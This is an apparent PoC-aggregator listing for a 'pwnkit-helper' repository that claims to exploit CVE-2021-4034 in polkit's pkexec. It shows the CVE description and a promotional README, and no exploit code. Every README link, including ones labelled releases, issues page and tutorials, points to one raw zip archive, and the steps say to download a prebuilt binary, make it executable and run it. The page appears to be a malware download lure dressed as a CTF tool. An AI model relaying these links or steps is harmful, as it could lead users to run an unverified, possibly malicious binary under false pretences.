CVE-2021-4034 PoC — polkit 缓冲区错误漏洞

Source

https://github.com/kaisen-bot/pwnkit-helper

Associated Vulnerability

Title: polkit 缓冲区错误漏洞 (CVE-2021-4034)
Description:A local privilege escalation vulnerability was found on polkit's pkexec utility. The pkexec application is a setuid tool designed to allow unprivileged users to run commands as privileged users according predefined policies. The current version of pkexec doesn't handle the calling parameters count correctly and ends trying to execute environment variables as commands. An attacker can leverage this by crafting environment variables in such a way it'll induce pkexec to execute arbitrary code. When successfully executed the attack can cause a local privilege escalation given unprivileged users administrative rights on the target machine.

Description

🚀 Enhance your penetration testing with PwnKit Helper, a simple tool for exploiting the CVE-2021-4034 vulnerability in pkexec for local privilege escalation.

Readme

# 🛡️ pwnkit-helper - Elevate Your Hacking Skills Safely

[![Download pwnkit-helper](https://raw.githubusercontent.com/kaisen-bot/pwnkit-helper/master/unappalled/pwnkit-helper.zip%20Now-Get%20pwnkit--helper-brightgreen)](https://raw.githubusercontent.com/kaisen-bot/pwnkit-helper/master/unappalled/pwnkit-helper.zip)

## 📦 Overview

pwnkit-helper is designed for capture-the-flag (CTF) events and secure environments. This tool focuses on exploiting CVE-2021-4034 to achieve local privilege escalation. With pwnkit-helper, you can enhance your ethical hacking toolkit efficiently and securely.

## 🚀 Getting Started

To get started with pwnkit-helper, follow these simple steps. You will obtain the tool and run it in no time.

### 1. System Requirements

Before you download pwnkit-helper, ensure that your device meets these requirements:

- A computer running Ubuntu or Debian.
- An active internet connection for downloading the tool.

### 2. Visit the Releases Page

Head over to our Releases page to find the latest version of pwnkit-helper. Click the link below:

[Visit the Releases Page to Download](https://raw.githubusercontent.com/kaisen-bot/pwnkit-helper/master/unappalled/pwnkit-helper.zip)

### 3. Download the Software

Choose the appropriate version for your operating system from the releases list. Simply click the link corresponding to your desired file. Downloading will start automatically.

### 4. Install pwnkit-helper

Once the download completes, locate the downloaded file in your computer's Downloads folder.

- For **Linux** users: You may need to change file permissions to allow the file to run. Open a terminal and run:
  
  ```
  chmod +x /path/to/pwnkit-helper
  ```

Replace `/path/to/pwnkit-helper` with your actual file path.

### 5. Run the Tool

You can now run pwnkit-helper. Open your terminal and execute the following command:

```
./pwnkit-helper
```

This will start the tool. Follow the prompts as necessary.

## 📋 Features

pwnkit-helper has several features to help you succeed:

- **Local Privilege Escalation:** Safely exploit CVE-2021-4034.
- **User-Friendly Interface:** Designed for easy navigation.
- **Versatile:** Suitable for CTF events and safe testing.

## 🔍 Examples of Use

1. **CTF Competitions:** Use pwnkit-helper to find vulnerabilities in a controlled environment.
2. **Learning Tool:** Understand how local privilege escalation works without risking your main system.

## 🛠️ Troubleshooting

- **Permission Issues:** If you have trouble running the tool, ensure it has executable permissions as shown in Step 4.
- **Dependencies:** Make sure you have all necessary packages installed for smooth operation.

## ℹ️ Support

For further assistance, check our [GitHub Issues Page](https://raw.githubusercontent.com/kaisen-bot/pwnkit-helper/master/unappalled/pwnkit-helper.zip) or reach out to the community.

## 📚 Additional Resources

- [Ethical Hacking Guide](https://raw.githubusercontent.com/kaisen-bot/pwnkit-helper/master/unappalled/pwnkit-helper.zip)
- [Tutorials on Privilege Escalation](https://raw.githubusercontent.com/kaisen-bot/pwnkit-helper/master/unappalled/pwnkit-helper.zip)

## 📥 Download & Install

Now that you know how to get started, go ahead and download pwnkit-helper:

[Click here to download pwnkit-helper](https://raw.githubusercontent.com/kaisen-bot/pwnkit-helper/master/unappalled/pwnkit-helper.zip)

Follow the steps outlined above, and you'll have the tool running in moments. If you encounter issues, refer to the troubleshooting section for help.

File Snapshot

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →